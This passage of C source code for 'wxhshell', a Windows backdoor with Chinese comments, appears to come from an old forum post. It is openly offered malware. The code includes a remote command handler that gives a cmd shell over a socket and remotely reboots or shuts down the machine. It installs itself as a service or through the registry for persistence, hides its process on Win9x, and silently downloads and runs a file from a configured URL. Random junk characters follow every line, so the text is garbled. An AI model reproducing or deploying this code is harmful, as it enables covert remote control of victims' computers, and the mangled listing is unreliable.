  // 帮助 gl2~6"dc  
  case '?': { b:Rl }"a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _.?$~;7  
    break; rf1-E57#  
  } JOenVepQ,  
  // 安装 p1J%=  
  case 'i': { A3C<9wXx  
    if(Install()) UCvMW*gs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`F}3zm  
    else Qnr' KbK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  M"X/([G  
    break; li/IKS)e$  
    } He"> kJx  
  // 卸载 QL_bg:hs  
  case 'r': { s x`C<c~u  
    if(Uninstall()) *Z)`:Gae  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mR8&9]g&  
    else -bZ^A~<O,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R%7k<1d'`  
    break; /SlCcozFL~  
    } al#yc  
  // 显示 wxhshell 所在路径 \iu2rat^  
  case 'p': { M#F;eK2pf  
    char svExeFile[MAX_PATH]; |M9x&(H;Hw  
    strcpy(svExeFile,"\n\r"); 5:^dyF&sm{  
      strcat(svExeFile,ExeFile); K<Iz5+oD  
        send(wsh,svExeFile,strlen(svExeFile),0); vERsrg;(  
    break; g>VkQos5"  
    } R:^GNra;  
  // 重启 - bFz  
  case 'b': { cJi5\<b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i]9SCO  
    if(Boot(REBOOT)) l$zo3[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7th&C,c&  
    else { mQo]k  
    closesocket(wsh); 15Yy&9D  
    ExitThread(0); iwrdZLE  
    } ]%shs  
    break; }tc,3> /  
    } ]J_Dn\  
  // 关机 tao3Xr^?  
  case 'd': { s&8QRI.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;uR8pz e  
    if(Boot(SHUTDOWN)) <(s+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E hd*  
    else { }{]{`\  
    closesocket(wsh); HYW+,ts'  
    ExitThread(0); "QGP]F  
    } d~GT w:  
    break; B6$s*SXNp  
    } 9Z7o?S";  
  // 获取shell b>I -4  
  case 's': { ke)3*.Y%C  
    CmdShell(wsh); :^J(%zy  
    closesocket(wsh);  LDwu?"P!  
    ExitThread(0); Ha4?I$'$  
    break; a/`fJY6rR  
  } Z*s/%4On  
  // 退出 hMi!H.EX.  
  case 'x': { :~U1JAs$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IxgnZX4N  
    CloseIt(wsh); _;X# &S(q-  
    break; f85j?Jm  
    } wQ(ME7 t  
  // 离开 L=zeFn  
  case 'q': { `I_%`15>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X+bLLW>&  
    closesocket(wsh); FW[<;$  
    WSACleanup(); Oh<Z0M)  
    exit(1); t(Iy[-  
    break; _Ndy;MQ  
        } 8=)A ksu  
  } C=%go1! $  
  } v%86JUlK.  
<(#cPV@j  
  // 提示信息 *w> /vu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N|7<*\o  
} J>XaQfzwU  
  } q w|M~vdm  
iT9cw`A^%  
  return; -^\k+4;  
} _lyP7$[: c  
*%uv7G@%N  
// shell模块句柄 hiU_r="*ox  
int CmdShell(SOCKET sock) 9c#9KCmc  
{ 3=sA]j-+(  
STARTUPINFO si; ( 9dV%#G\  
ZeroMemory(&si,sizeof(si)); YfF&: "-NU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7fnKe2M M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a[Txd=b  
PROCESS_INFORMATION ProcessInfo; !Me%W3  
char cmdline[]="cmd"; k_O"bsI)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J,m.LpY  
  return 0; PX2Ejrwj  
} 69yTGUG3  
Ob0=ZW`+&  
// 自身启动模式 n'4D;4  
int StartFromService(void) >fs-_>1d  
{ _mXq]r0  
typedef struct t'm]E2/  
{ j cx/ZR  
  DWORD ExitStatus; as o8  
  DWORD PebBaseAddress; iVXR=A\er  
  DWORD AffinityMask; y^M'&@F  
  DWORD BasePriority; n (cSfT  
  ULONG UniqueProcessId; C. 8>  
  ULONG InheritedFromUniqueProcessId; 8 _`Lx_R  
}   PROCESS_BASIC_INFORMATION; GXJ3E"_.  
Vy-S9=  
PROCNTQSIP NtQueryInformationProcess; 4_r8ynq{z  
{fIH9+v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s#* mn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r \=p.cw<  
[k."R@?  
  HANDLE             hProcess; -! ;vX @  
  PROCESS_BASIC_INFORMATION pbi; -@^SiI:C  
F<IqKgGzH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r OB\u|Pg  
  if(NULL == hInst ) return 0; 8'g/WZY~~  
Wuc,Cjm9(!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;]n U->  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^T^U:Zdq  
 pLyX9C  
  if (!NtQueryInformationProcess) return 0; 3t%uUkXl  
mYt(`S*q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3UrqV`x \  
  if(!hProcess) return 0; (W@ ypK@  
b[RBp0]x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f<kL}B+,Og  
Z$WT ~V  
  CloseHandle(hProcess); wQ [2yq  
LGod"8~U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {MYlW0)~  
if(hProcess==NULL) return 0; 8^< -;  
hk,Q=};  
HMODULE hMod; \DGm[/P  
char procName[255]; c1:op@t  
unsigned long cbNeeded; =4Ex' %%(U  
% qAhE TZ%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dHOz;4_  
>u4uV8S   
  CloseHandle(hProcess); &V$'{  
Yq5}r?N  
if(strstr(procName,"services")) return 1; // 以服务启动 xsAF<:S\  
d5zzQ]|L  
  return 0; // 注册表启动 #UXmTrZ.  
} 7c;59$2(  
% )|/s %W  
// 主模块 QAb[M\G  
int StartWxhshell(LPSTR lpCmdLine) |: nuT$(  
{ >Zmpsa+  
  SOCKET wsl; ;=uHK'{  
BOOL val=TRUE; "_q5\]z\O  
  int port=0; AHZ6  
  struct sockaddr_in door; yUH8  
?TzN?\   
  if(wscfg.ws_autoins) Install(); _0vXujz  
&ul9N)A  
port=atoi(lpCmdLine); %8 4<@f&n]  
4 6e;UUf!d  
if(port<=0) port=wscfg.ws_port; &"^A  
;#Mq=Fr-SG  
  WSADATA data; {[Yv@CpN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yyA/x,  
J-\b?R a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jv)]7u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $6'xRUx X  
  door.sin_family = AF_INET; wkd591d*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uHf~KYL  
  door.sin_port = htons(port); ?W(wtp,o  
@cjhri|vH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |]m&LC  
closesocket(wsl); nh E!Pk  
return 1; *dKA/.g  
} o[cKh7&+  
=6+BBD  
  if(listen(wsl,2) == INVALID_SOCKET) { U7ajDw  
closesocket(wsl); *#2`b%qh\M  
return 1; m,.d< **  
} 3]c<7vdl  
  Wxhshell(wsl); cF/FretoO  
  WSACleanup(); nFB;!r  
OI`Lb\8pP  
return 0; 2{#quXN9  
L g%cVSz/C  
} wCI.jGSBW  
liU=5 BL  
// 以NT服务方式启动 MA1,;pv6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,*%8*]<=  
{ |]`+@K,S  
DWORD   status = 0; eg,S(;VEt  
  DWORD   specificError = 0xfffffff; Jl9T[QAJn1  
e3Lf'+G\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,-{j.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T+~~w'v0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %3C,jg  
  serviceStatus.dwWin32ExitCode     = 0; 9(@bjL465  
  serviceStatus.dwServiceSpecificExitCode = 0; {{ wVM:1  
  serviceStatus.dwCheckPoint       = 0; wvc?2~`  
  serviceStatus.dwWaitHint       = 0; "1[N;|xa  
Z]Qm64^I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aG" UV\  
  if (hServiceStatusHandle==0) return; kv'n W  
APLu?wy7s5  
status = GetLastError(); fI BLJ53  
  if (status!=NO_ERROR) D<rjxP  
{ !IGVN:E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *v 8 ]99N  
    serviceStatus.dwCheckPoint       = 0; #~#_) \l'F  
    serviceStatus.dwWaitHint       = 0; O}KT>84M  
    serviceStatus.dwWin32ExitCode     = status; ! 4s $ 93  
    serviceStatus.dwServiceSpecificExitCode = specificError; P, Vq/Tt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @RnGK 5  
    return; A2+t`[ w  
  } 95H`-A  
Np=*B_ @8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vfo[<"  
  serviceStatus.dwCheckPoint       = 0; ]Wy V bIu  
  serviceStatus.dwWaitHint       = 0; r1=Zoxc=w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &FK=w]P  
} 8F@6^9C  
!~mN"+u&  
// 处理NT服务事件,比如:启动、停止 o%|1D'f^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -(59F  
{ "qDEI}  
switch(fdwControl) =_wgKXBFa  
{ JN8k x;@  
case SERVICE_CONTROL_STOP: cdh1~'q/  
  serviceStatus.dwWin32ExitCode = 0; .*zQ\P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >^jm7}+hb  
  serviceStatus.dwCheckPoint   = 0; U ^,ld`  
  serviceStatus.dwWaitHint     = 0; @.g4?c  
  { W5x]bl#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); huQ1A0(no  
  } WK=!<FsC$  
  return; 2N]y)S_<V  
case SERVICE_CONTROL_PAUSE: I@z{G r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kNjbpCE\!  
  break; ]ny(l#Hu:  
case SERVICE_CONTROL_CONTINUE: HK-?<$Yc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sVC5<?OW!p  
  break; $Z(zO;k.  
case SERVICE_CONTROL_INTERROGATE: ML'R[~|  
  break; 91,\y  
}; $:xUXEi{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QHQj6]  
} $6J5yE  
Y Jv{Z^;M  
// 标准应用程序主函数 eIEcj<f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~bwFQYY=  
{ J L Z  
o2.! G  
// 获取操作系统版本 te:VYP  
OsIsNt=GetOsVer(); K E^_09  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #?-W.  
U "}Kth  
  // 从命令行安装 1X{A}9nA  
  if(strpbrk(lpCmdLine,"iI")) Install(); NH?s  
[mwfgh&4%  
  // 下载执行文件 {:rU5 !n  
if(wscfg.ws_downexe) { E+01"G<Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $b8>SSz  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?ph"|LyL  
} ;m&f Vp  
# ._!.P  
if(!OsIsNt) { ZWr\v!4  
// 如果时win9x,隐藏进程并且设置为注册表启动 cg$~.ytPK  
HideProc(); [OT@gp:  
StartWxhshell(lpCmdLine); d82IEhZ#  
} ( {8Q=Gh  
else 7i'vAOnw^  
  if(StartFromService()) s$]I@;_  
  // 以服务方式启动 P "%/  
  StartServiceCtrlDispatcher(DispatchTable); .N5"IY6>  
else N-NwGD{  
  // 普通方式启动 OrH&dY  
  StartWxhshell(lpCmdLine); F-ZD6l9O  
!k[ zUti  
return 0; z1"UF4x*  
}
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只看该作者 1 发表于: 2006-10-10
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